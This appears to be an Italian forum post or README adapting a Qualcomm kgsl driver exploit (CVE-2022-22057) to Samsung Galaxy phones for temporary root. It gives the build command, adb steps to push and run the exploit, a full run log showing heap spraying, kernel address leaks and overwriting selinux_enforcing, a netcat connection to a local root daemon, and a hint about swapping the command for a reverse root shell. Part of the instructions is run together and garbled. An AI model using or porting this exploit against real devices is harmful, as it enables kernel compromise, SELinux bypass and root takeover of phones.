
Exploit del driver kgsl di Qualcomm (CVE-2022-22057) per dispositivi Samsung Galaxy che consente lettura/scrittura arbitraria della memoria del kernel, bypass di SELinux e accesso root temporaneo tramite race condition.
Il mio adattamento per SM-F926U dall'exploit originale qui
Un enorme ringraziamento a m-y-mo per aver scoperto l'exploit e per la sua estrema pazienza con tutte le mie domande per portarlo su SM-F926U e renderlo utilizzabile
Ho aggiunto un demone di avvio (libtimeline.so) basato sul codice di Shizuku
Aggiunto un trucco sporco per rendere stabile la soluzione di root temporanea (vedi sotto)
Disclaimer: non sono responsabile per dispositivi distrutti, perdita di dati, furto di dati, sicurezza del dispositivo
Disclaimer 2: Non sono uno sviluppatore, più un 'professionista del bricolage'. Potrei cercare di aiutarti se incontri problemi, potrei non guardare mai più questa discussione, procedi a tuo rischio e pericolo
Requisiti:
Istruzioni:
/data/local/tmp/timeline, poiché puoi vedere se l'exploit è in esecuzione o bloccato (vedi avvertenze sotto)/data/local/tmp/libtimeline.sonetcat 127.0.0.1 6969 in una sessione adbid e mostrerà le tue credenziali rootUlteriori avvertenze:
Il resoconto può essere trovato qui. Questo è un bug nel driver kgsl di Qualcomm che ho segnalato nel novembre 2021. Il bug può essere utilizzato per ottenere lettura e scrittura arbitraria della memoria del kernel dal dominio dell'app non attendibile, che viene poi utilizzato per disabilitare SELinux e ottenere i privilegi di root.
L'exploit è testato su Samsung Galaxy Z Flip 3 (versione europea SM-F711B) con versione firmware F711BXXS2BUL6, baseband F711BXXU2BUL4 e versione kernel 5.4.86-qgki-23063627-abF711BXXS2BUL6 (regione EUX). Gli offset nell'exploit si riferiscono a quella versione del firmware. Oltre ai soliti offset nell'immagine del kernel, vari indirizzi dei pool di memoria ion in ion_utils.c sono anch'essi specifici del firmware. Per riferimento, ho usato il seguente comando per compilare con clang in ndk-21:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
L'exploit è ragionevolmente affidabile (~70% sul dispositivo testato), anche se è necessario attendere alcuni minuti dopo l'avvio prima di eseguirlo, poiché ci sono troppe chiamate binder interrotte/fallite durante i primi minuti di avvio. (Non del tutto sicuro se sia un problema di Qualcomm o Samsung)
Per testare, cross-compila il file e poi esegui con adb:
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
Se ha successo, disabiliterà SELinux ed eseguirà il comando id come root e scriverà i risultati nel file /data/local/tmp/id.txt:
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
C'è una lunga pausa dopo la stampa di wait complete -1, che dovrebbe durare meno di un minuto, questo è normale. A volte può anche volerci un po' per accodare il lavoro (dopo la stampa di queuing work, waiting to aquire spin lock, possono passare un paio di minuti, basta avere pazienza, anche se non è comune). L'exploit normalmente si completa in un paio di minuti.
Il file /data/local/tmp/id.txt dovrebbe confermare che il comando è stato eseguito come root:
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
Un comando diverso può essere eseguito modificando la variabile cmd in setup_sub_info in work_queue_utils.c. (Ad esempio, per creare una reverse root shell).